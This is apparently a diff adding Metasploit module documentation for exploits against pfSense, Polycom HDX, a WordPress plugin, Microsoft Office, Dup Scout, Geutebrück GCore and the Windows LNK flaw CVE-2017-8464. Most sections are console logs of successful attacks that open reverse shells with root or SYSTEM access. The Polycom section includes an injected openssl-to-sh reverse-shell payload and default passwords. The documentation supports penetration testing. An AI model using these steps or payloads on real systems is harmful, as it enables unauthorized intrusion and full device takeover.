This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
|
||||
|
||||
## Vulnerable Setup
|
||||
|
||||
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/unix/http/pfsense_clickjacking`
|
||||
2. `set TARGETURI https://<ip WebGUI>`
|
||||
3. `exploit`
|
||||
4. Browse to the URL returned by MSF
|
||||
5. Click anywhere on the returned page
|
||||
6. Note that a new Meterpreter sessions was started.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path of the WebGUI. The default base path is https://192.168.1.1/
|
@ -0,0 +1,114 @@
|
||||
## Description
|
||||
|
||||
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
|
||||
as root.
|
||||
|
||||
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
|
||||
|
||||
Installer:
|
||||
|
||||
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `set username [username]`
|
||||
5. Do: `set password [password]`
|
||||
6. Do: `exploit`
|
||||
7. You should get a session
|
||||
|
||||
|
||||
## Sample Output
|
||||
|
||||
### 2.3-Release amd64
|
||||
|
||||
```
|
||||
[*] Processing pfsense.rc for ERB directives.
|
||||
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||
resource (pfsense.rc)> set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
resource (pfsense.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (pfsense.rc)> check
|
||||
[*] 2.2.2.2:443 The target service is running, but could not be validated.
|
||||
resource (pfsense.rc)> exploit
|
||||
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
|
||||
[*] Successful Authentication
|
||||
[*] pfSense Version Detected: 2.3-RELEASE
|
||||
[+] Login Successful
|
||||
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
|
||||
[*] Manual removal of group aJPEfJLDKT is required.
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo 5ER6rqZOjOSGjRml;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "5ER6rqZOjOSGjRml\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
|
||||
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
|
||||
```
|
||||
### 2.2.6 amd64
|
||||
|
||||
```
|
||||
[*] Processing pfsense.rc for ERB directives.
|
||||
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
|
||||
resource (pfsense.rc)> set rhost 3.3.3.3
|
||||
rhost => 3.3.3.3
|
||||
resource (pfsense.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (pfsense.rc)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (pfsense.rc)> check
|
||||
[*] 3.3.3.3:443 The target is not exploitable.
|
||||
resource (pfsense.rc)> exploit
|
||||
[*] Started reverse double SSL handler on 1.1.1.1:4444
|
||||
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
|
||||
[*] Successful Authentication
|
||||
[*] pfSense Version Detected: 2.2.6-RELEASE
|
||||
[+] Login Successful
|
||||
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
|
||||
[*] Manual removal of group okUPTvzysL is required.
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo 7hKg6oD9DkwXYRtt;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "7hKg6oD9DkwXYRtt\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
|
||||
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
|
||||
```
|
||||
|
||||
## Cleanup
|
||||
|
||||
Manual cleanup is required. The group name is printed during exploitation.
|
||||
|
||||
## Logging
|
||||
|
||||
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`
|
@ -0,0 +1,131 @@
|
||||
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
|
||||
|
||||
## Options
|
||||
### PASSWORD
|
||||
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
|
||||
the devices.
|
||||
|
||||
|
||||
## Payloads
|
||||
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
|
||||
|
||||
```
|
||||
Compatible Payloads
|
||||
===================
|
||||
|
||||
Name Disclosure Date Rank Description
|
||||
---- --------------- ---- -----------
|
||||
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
```
|
||||
msf exploit(polycom) > set RHOST 192.168.0.17
|
||||
RHOST => 192.168.0.17
|
||||
msf exploit(polycom) > set LHOSt ens3
|
||||
LHOSt => ens3
|
||||
msf exploit(polycom) > set LPORT 3511
|
||||
LPORT => 3511
|
||||
msf exploit(polycom) > show payloads
|
||||
|
||||
Compatible Payloads
|
||||
===================
|
||||
|
||||
Name Disclosure Date Rank Description
|
||||
---- --------------- ---- -----------
|
||||
cmd/unix/generic normal Unix Command, Generic Command Execution
|
||||
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
|
||||
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
|
||||
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
|
||||
|
||||
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
|
||||
PAYLOAD => cmd/unix/reverse
|
||||
msf exploit(polycom) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf exploit(polycom) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo vGopPRp0jBxt4J2D;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "vGopPRp0jBxt4J2D\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
|
||||
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
whoami
|
||||
root
|
||||
```
|
||||
|
||||
## Debugging
|
||||
Setting `VERBOSE` to true should yield an output of.
|
||||
|
||||
```
|
||||
msf exploit(polycom) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
rmsf exploit(polycom) > run
|
||||
|
||||
[*] Started reverse TCP double handler on 192.168.0.11:3511
|
||||
[*] 192.168.0.17:23 - Received : !
|
||||
Polycom Command Shell
|
||||
XCOM host: localhost port: 4121
|
||||
TTY name: /dev/pts/6
|
||||
Session type: telnet
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
|
||||
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
|
||||
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
|
||||
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
|
||||
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
|
||||
|
||||
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
|
||||
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo WD3QloY3fys6n7dK;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] 192.168.0.17:23 - devcmds
|
||||
Entering sticky internal commands *ONLY* mode...
|
||||
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
|
||||
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
|
||||
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
|
||||
|
||||
[*] Reading from socket B
|
||||
[*] B: "WD3QloY3fys6n7dK\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
|
||||
[*] 192.168.0.17:23 - Shutting down payload stager listener...
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
whoami
|
||||
root
|
||||
```
|
@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
|
||||
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
|
||||
the file can be executed by the client.
|
||||
|
||||
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
|
||||
from Exploit-db since wordpress removed it.
|
||||
|
||||
Due to its age, it may be difficult to install. The install for the scenario later is:
|
||||
|
||||
* Ubuntu 16.04.2
|
||||
* Apache 2.4.18
|
||||
* PHP 7
|
||||
* Wordpress 4.4.2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
|
||||
4. Do: ```set rhost [ip]```
|
||||
5. Do: ```set lhost [ip]```
|
||||
6. Do: ```set srvhost [ip]```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### wp-mobile-detector 3.5 on Wordpress 4.4.2
|
||||
|
||||
```
|
||||
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
|
||||
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
|
||||
TARGETURI => /wordpress/
|
||||
msf exploit(wp_mobile_detector_upload_execute) > check
|
||||
[*] 2.2.2.2:80 The target appears to be vulnerable.
|
||||
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
|
||||
srvhost => 1.1.1.1
|
||||
msf exploit(wp_mobile_detector_upload_execute) > exploit
|
||||
[*] Exploit running as background job 2.
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
|
||||
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
|
||||
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
|
||||
[+] Payload requested on server, sending
|
||||
[+] Sleeping 5 seconds for payload upload
|
||||
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
|
||||
[*] Sending stage (37514 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
|
||||
[+] Deleted ZWTgqwsiFL.php
|
||||
[*] Server stopped.
|
||||
```
|
||||
|
@ -0,0 +1,50 @@
|
||||
|
||||
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
|
||||
|
||||
## Vulnerable Application
|
||||
All Microsoft Office versions
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output, whether injecting or generating a blank one
|
||||
|
||||
### INJECT_PATH
|
||||
Path to filename to inject
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/office_dde_delivery
|
||||
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
|
||||
FILENAME => /home/mumbai/file.rtf
|
||||
msf exploit(office_dde_delivery) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(office_dde_delivery) > set LPORT 35116
|
||||
LPORT => 35116
|
||||
msf exploit(office_dde_delivery) > run
|
||||
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
|
||||
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
|
||||
[*] Server started.
|
||||
[*] Handling request for .sct from 192.168.0.24
|
||||
[*] Delivering payload to 192.168.0.24...
|
||||
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
@ -0,0 +1,56 @@
|
||||
|
||||
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- Microsoft Office 2016
|
||||
- Microsoft Office 2013 Service Pack 1
|
||||
- Microsoft Office 2010 Service Pack 2
|
||||
- Microsoft Office 2007
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
|
||||
3. Do: `set PAYLOAD [PAYLOAD]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### FILENAME
|
||||
Filename to output & if injecting a file, the file to inject
|
||||
|
||||
### FOLDER_PATH
|
||||
Path to filename to inject
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/windows/fileformat/office_ms17_11882
|
||||
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
|
||||
FILENAME => /home/mumbai/file.rtf
|
||||
msf exploit(office_ms17_11882) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(office_ms17_11882) > set LPORT 35116
|
||||
LPORT => 35116
|
||||
msf exploit(office_ms17_11882) > run
|
||||
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
|
||||
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
|
||||
[*] Server started.
|
||||
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
|
||||
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
|
||||
[*] Sending stage (205379 bytes) to 192.168.0.24
|
||||
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : TEST-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Tested on Windows 10 x64
|
||||
|
||||
Install the application from the link below and enable the web server by going to Tools -> Advanced Options -> Server -> Enable Web Server on Port.
|
||||
|
||||
[Dup Scout Enterprise v 10.0.18](https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fce6a8-dupscoutent_setup_v10.0.18.exe)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application and set the option above to enable the web server
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/dup_scout_enterprise_login_bof```
|
||||
5. Set options and payload
|
||||
6. Do: ```run```
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
IP address of the remote host running the server.
|
||||
|
||||
**RPORT**
|
||||
|
||||
Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options.
|
||||
|
||||
## Scenarios
|
||||
|
||||
To obtain a shell:
|
||||
|
||||
```
|
||||
msf > use exploit/windows/http/dup_scout_enterprise_login_bof
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set rhost 192.168.1.171
|
||||
rhost => 192.168.1.171
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 192.168.1.252
|
||||
lhost => 192.168.1.252
|
||||
msf exploit(windows/http/dup_scout_enterprise_login_bof) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.252:4444
|
||||
[*] Generating exploit...
|
||||
[*] Triggering the exploit now...
|
||||
[*] Sending stage (179779 bytes) to 192.168.1.171
|
||||
[*] Meterpreter session 1 opened (192.168.1.252:4444 -> 192.168.1.171:58969) at 2017-12-09 02:01:41 -0600
|
||||
```
|
@ -0,0 +1,69 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation.
|
||||
Since this application is started with system privileges this allows a system remote code execution.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
|
||||
2. Install the Geutebrück GCore server
|
||||
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
|
||||
4. Start msfconsole
|
||||
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
|
||||
6. Do: ```set rhost <your target ip>```
|
||||
7. Do: ```set rport 13003```
|
||||
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
9. Do: ```exploit```
|
||||
10. You should get a shell as NT/SYSTEM.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Geutebrueck GCore 1.4.2.37
|
||||
|
||||
```
|
||||
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
|
||||
|
||||
Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST 192.168.1.10 yes The target address
|
||||
RPORT 13003 yes The target port
|
||||
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.1.11 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.11:4444
|
||||
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
|
||||
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
|
||||
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
|
||||
[*] 192.168.1.10:13003 - Crafting Exploit...
|
||||
[*] 192.168.1.10:13003 - Exploit ready for sending...
|
||||
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
|
||||
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
|
||||
[*] 192.168.1.10:13003 - Closing socket.
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > getuid Server username:
|
||||
NT-AUTORITÄT\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Mitigation
|
||||
|
||||
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.
|
@ -0,0 +1,166 @@
|
||||
## Description
|
||||
This module is a Windows local exploit version of the existing file
|
||||
format module for CVE-2017-8464. The module works by dropping the
|
||||
specially crafted LNK file and DLL to disk, which causes
|
||||
`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
|
||||
the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
|
||||
this can be used to elevate privileges.
|
||||
|
||||
The original DLL template needed some significant reworking to make it
|
||||
compatible for execution within `SearchProtocolHost.exe`. The payload
|
||||
was originally failing in the hollowed child `rundll32.exe` process with
|
||||
a denied error from winsock. This was addressed by checking if the process
|
||||
which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
|
||||
it opens the token of another SYSTEM process and passes it to
|
||||
`CreateProcessAsUser` for the payload to work. When the DLL is loaded
|
||||
into another process or is not running as SYSTEM, this step is skipped
|
||||
and `NULL` is passed as the token.
|
||||
|
||||
Finally a thread is spawned to keep a module reference and monitor the
|
||||
child process. This is for synchronization to prevent the payload from
|
||||
being executed in rapid succession from a single exploitation attempt.
|
||||
The mutex was also updated to the constant of `MUTEX!!!` to leverage
|
||||
Metasploit's builtin mutex name randomization, which ensures that a name
|
||||
is unique per module run but not globally unique.
|
||||
|
||||
## Vulnerable Systems
|
||||
Tested and works on
|
||||
Windows 7x64 SP0
|
||||
Windows 7x64 SP1
|
||||
Windows 8x64
|
||||
Windows 8.1x64
|
||||
Windows 10x64 Build 1511
|
||||
Windows 10x64 Build 1607
|
||||
Windows 10x64 Build 1703
|
||||
|
||||
## Running Example:
|
||||
```
|
||||
> use exploit/multi/handler
|
||||
> set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
> set LHOST 192.168.135.112
|
||||
LHOST => 192.168.135.112
|
||||
> set LPORT 30001
|
||||
LPORT => 30001
|
||||
> show options
|
||||
|
||||
Module options (exploit/multi/handler):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.135.112 yes The listen address
|
||||
LPORT 30001 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Wildcard Target
|
||||
|
||||
|
||||
[*] > Ruby Code (13 bytes)
|
||||
> run -z
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Started reverse TCP handler on 192.168.135.112:30001
|
||||
[*] Sending stage (205379 bytes) to 192.168.134.133
|
||||
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
|
||||
> sysinfo
|
||||
Computer : WIN7X64-SP0
|
||||
OS : Windows 7 (Build 7600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 4
|
||||
Meterpreter : x64/windows
|
||||
> sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
|
||||
|
||||
> use exploit/windows/local/cve_2017_8464_lnk_lpe
|
||||
> set session 1
|
||||
session => 1
|
||||
> set target 0
|
||||
target => 0
|
||||
> set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
> set lhost 192.168.135.112
|
||||
lhost => 192.168.135.112
|
||||
> set lport 30002
|
||||
lport => 30002
|
||||
> set verbose true
|
||||
verbose => true
|
||||
> show options
|
||||
|
||||
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DLLNAME no The DLL file containing the payload
|
||||
FILENAME no The LNK file
|
||||
PATH no An explicit path to where the files should be written to
|
||||
SESSION 1 yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.135.112 yes The listen address
|
||||
LPORT 30002 yes The listen port
|
||||
|
||||
|
||||
